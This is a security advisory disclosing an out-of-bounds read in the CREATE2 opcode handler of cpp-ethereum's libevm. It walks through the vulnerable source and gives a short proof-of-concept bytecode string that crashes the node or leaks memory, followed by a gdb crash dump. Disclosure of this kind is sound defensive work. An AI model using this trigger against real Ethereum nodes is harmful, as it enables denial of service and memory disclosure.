### Summary
An exploitable information leak / denial of service vulnerability exists in the libevm ( Ethereum Virtual Machine ) `create2` opcode handler of CPP-Ethereum.
A specially crafted smart contract code can cause an out-of-bounds read leading to memory disclosure or denial of service. An attacker can create/send malicious smart contract to trigger this vulnerability.
### Tested Versions
Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768
### Product URLs
http://cpp-ethereum.org
### CVSSv3 Score
8.2 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
### CWE
CWE-125: Out-of-bounds Read
### Details
CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform.
One of the components that is a part of cpp-ethereum is libevm ( Ethereum Virtual Machine ). Improper handling of smart contract code in the create2 opcode handler can lead to an out-of-bounds read. The vulnerability can be used to leak memory or to perform DoS attack on all nodes in the Ethereum network using this implementation of the virtual machine.
The `create2` opcode is currently associate with `Constantinople` fork and its implementation looks as follows:
```
cpp-ethereum/libevm/VMCalls.cpp
Line 133 void VM::caseCreate()
Line 134 {
Line 135 m_bounce = &VM::interpretCases;
Line 136 m_runGas = toInt63(m_schedule->createGas);
Line 137 updateMem(memNeed(m_SP[1], m_SP[2]));
Line 138 updateIOGas();
Line 139
Line 140 auto const& endowment = m_SP[0];
Line 141 uint64_t initOff;
Line 142 uint64_t initSize;
Line 143 u256 salt;
Line 144 if (m_OP == Instruction::CREATE)
Line 145 {
Line 146 initOff = (uint64_t)m_SP[1];
Line 147 initSize = (uint64_t)m_SP[2];
Line 148 }
Line 149 else
Line 150 {
Line 151 salt = m_SP[1];
Line 152 initOff = (uint64_t)m_SP[2];
Line 153 initSize = (uint64_t)m_SP[3];
Line 154 }
Line 155
Line 156 // Clear the return data buffer. This will not free the memory.
Line 157 m_returnData.clear();
Line 158
Line 159 if (m_ext->balance(m_ext->myAddress) >= endowment && m_ext->depth < 1024)
Line 160 {
Line 161 *m_io_gas_p = m_io_gas;
Line 162 u256 createGas = *m_io_gas_p;
Line 163 if (!m_schedule->staticCallDepthLimit())
Line 164 createGas -= createGas / 64;
Line 165 u256 gas = createGas;
Line 166 h160 addr;
Line 167 owning_bytes_ref output;
Line 168 std::tie(addr, output) = m_ext->create(endowment, gas, bytesConstRef(m_mem.data() + initOff, initSize), m_OP, salt, m_onOp);
```
In pseudo code we can represent the opcode handler as follows:
```
create2(endowment,salt,initOff,initSize)
```
Its purpose is to give a devoloper the possibility to create a new contract from inside a contract where code for a new contract is loaded inside EVM memory `m_mem` at the specified offset.
In above code we can observe that 4th parameter `initSize` represents size of the new contract code, it is read directly from input at `line 153` and not sanitized in any way before it is used at `line 168`. At line 168 we see that a new object of type `bytesConstRef` is created :
```
using bytesConstRef = vector_ref<byte const>;
libdevcore\vector_ref.h
Line 19 /**
Line 20 * A modifiable reference to an existing object or vector in memory.
Line 21 */
Line 22 template <class _T>
Line 23 class vector_ref
Line 24 {
(...)
Line 33 /// Creates a new vector_ref to point to @a _count elements starting at @a _data.
Line 34 vector_ref(_T* _data, size_t _count): m_data(_data), m_count(_count) {}
```
The parameters being passed to the constructor for this are a pointer to a memory buffer m_mem and, as a size of this buffer, the initSize variable. As you can imagine, the object can have a wrong size fully controllable by the attacker in the range of a 64-bit unsigned integer. Tracking down further usage of this object we can see that based on its content a SHA1 hash is calculated:
```
Line 324 bool Executive::create2Opcode(Address const& _sender, u256 const& _endowment, u256 const& _gasPrice, u256 const& _gas, bytesConstRef _init, Address const& _origin, u256 const& _salt)
Line 325 {
Line 326 m_newAddress = right160(sha3(_sender.asBytes() + toBigEndian(_salt) + sha3(_init).asBytes()));
Line 327 return executeCreate(_sender, _endowment, _gasPrice, _gas, _init, _origin);
Line 328 }
```
The corrupted object in the function above is passed as `an _init` argument. The incorrect size of this object in that scenario can lead to:
```
- A denial of service: due to a huge amount of memory being used as an input buffer for SHA1 function
- A memory disclosure: all parameters values are known to the attacker and the result of the computation is based on those parameters and data which is read out-of-bounds, which is returned to the attacker
as a contract address, An attacker can use the resulting hash to bruteforce/guess the contents of the leaked memory.
```
Example of opcodes triggering this vulnerability:
```
67FFFFFFFFFFFFFFFF600160006000FB
```
disassembling we get:
```
67 FFFFFFFFFFFFFFFF PUSH32 FFFFFFFFFFFFFFFF // code size `initSize`
60 01 PUSH 1 // initOff
60 00 PUSH 0 // salt
60 00 PUSH 0 // endowment
FB CREATE2
```
### Crash Information
```
Starting program: /home/icewall/bugs/cpp-ethereum/build/ethvm/ethvm --network Constantinople --code 67FFFFFFFFFFFFFFFF600160006000FB
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147
147 mkapply_ds(xorin, dst[i] ^= src[i]) // xorin
(gdb) peda_active
gdb-peda$ context
[----------------------------------registers-----------------------------------]
RAX: 0xf
RBX: 0x798a6dbc7de82679
RCX: 0x1103ff1 --> 0x3f8000
RDX: 0x0
RSI: 0x8c887aede3bcb158
RDI: 0x23fe151d7b09c153
RBP: 0xe223193d3ce38d3f
RSP: 0x7fffffffaac0 --> 0xde389728e7cb4c82
RIP: 0x584797 (<dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1])
R8 : 0xb7239754a4040e21
R9 : 0x6c253a29078ce9a7
R10: 0xdea07427d1e5343
R11: 0x18
R12: 0xb22887a917e771ac
R13: 0x82bfafeff33273bb
R14: 0x7de51edb509fe189
R15: 0x8c6233ed3e52b5ca
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x58478a <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+136>: mov rcx,QWORD PTR [rsp+0x78]
0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>: cmp rax,0x87
0x584795 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+147>: ja 0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>
=> 0x584797 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1]
0x58479b <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+153>: xor BYTE PTR [rsp+rax*1+0x80],dl
0x5847a2 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+160>: add rax,0x1
0x5847a6 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+164>: jmp 0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>
0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>: mov r13d,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffaac0 --> 0xde389728e7cb4c82
0008| 0x7fffffffaac8 --> 0xae440eb455ebc604
0016| 0x7fffffffaad0 --> 0x8c887aede3bcb158
0024| 0x7fffffffaad8 --> 0xf772bcd848c8171d
0032| 0x7fffffffaae0 --> 0x8c6233ed3e52b5ca
0040| 0x7fffffffaae8 --> 0xb7239754a4040e21
0048| 0x7fffffffaaf0 --> 0x6c253a29078ce9a7
0056| 0x7fffffffaaf8 --> 0x821ae124af601e76
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
gdb-peda$ bt
#0 0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147
#1 dev::keccak::hash (delim=0x1, rate=0x88, inlen=0xffffffffff8ca1af, in=0x1103ff1 "", outlen=0x20, out=0x7fffffffad70 "") at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:171
#2 dev::keccak::sha3_256 (out=0x7fffffffad70 "", outlen=outlen@entry=0x20, in=<optimized out>, inlen=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:207
#3 0x0000000000587e61 in dev::sha3 (_input=..., o_output=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:218
#4 0x0000000000457137 in dev::sha3 (_input=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/../libdevcore/SHA3.h:40
#5 dev::eth::Executive::create2Opcode (this=this@entry=0x7fffffffaf50, _sender=..., _endowment=..., _gasPrice=..., _gas=..., _init=..., _origin=..., _salt=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:326
#6 0x00000000004694e9 in dev::eth::ExtVM::create(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::vector_ref<unsigned char const>, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4340, _endowment=..., io_gas=..., _code=..., _op=-5, _salt=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/ExtVM.cpp:126
#7 0x0000000000531ef8 in dev::eth::VM::caseCreate (this=0x9d4530) at /home/icewall/bugs/cpp-ethereum/libevm/VMCalls.cpp:169
#8 0x000000000051d308 in dev::eth::VM::exec(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::eth::ExtVMFace&, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4530, _io_gas=..., _ext=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libevm/VM.cpp:207
#9 0x000000000045548d in dev::eth::Executive::go(std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=this@entry=0x7fffffffd5b0, _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:434
#10 0x0000000000416ceb in main (argc=argc@entry=0x6, argv=argv@entry=0x7fffffffdd68) at /home/icewall/bugs/cpp-ethereum/ethvm/main.cpp:320
#11 0x00007ffff6d15830 in __libc_start_main (main=0x414fd0 <main(int, char**)>, argc=0x6, argv=0x7fffffffdd68, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdd58) at ../csu/libc-start.c:291
#12 0x0000000000413c09 in _start ()
```
### Timeline
* 2017-11-03 - Vendor Disclosure
* 2018-01-09 - Public Release
暂无评论